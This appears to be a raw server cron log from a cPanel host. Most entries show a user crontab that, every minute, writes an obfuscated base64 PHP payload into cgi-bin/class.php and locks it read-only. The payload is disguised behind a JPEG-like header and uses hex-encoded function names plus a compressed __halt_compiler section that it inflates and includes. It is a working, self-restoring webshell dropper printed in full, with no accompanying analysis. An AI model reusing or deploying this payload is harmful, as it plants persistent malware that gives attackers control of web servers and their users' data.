Nov 12 17:56:01 server CROND[17112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:57:01 server CROND[17955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:57:01 server CROND[17956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 17:58:01 server CROND[18785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:59:01 server CROND[19615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:00:01 server CROND[20456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:00:01 server CROND[20458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:00:01 server CROND[20459]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 18:00:01 server CROND[20460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:00:01 server CROND[20461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:01:01 server CROND[21128]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 18:01:01 server CROND[21129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:01:01 server run-parts(/etc/cron.hourly)[21128]: starting 0anacron
Nov 12 18:01:01 server run-parts(/etc/cron.hourly)[21141]: finished 0anacron
Nov 12 18:02:01 server CROND[21976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:03:01 server CROND[22806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:04:01 server CROND[23635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:05:01 server CROND[24119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:05:01 server CROND[24120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:05:01 server CROND[24121]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 18:05:01 server CROND[24123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:06:01 server CROND[25066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:07:01 server CROND[25903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:08:01 server CROND[26743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
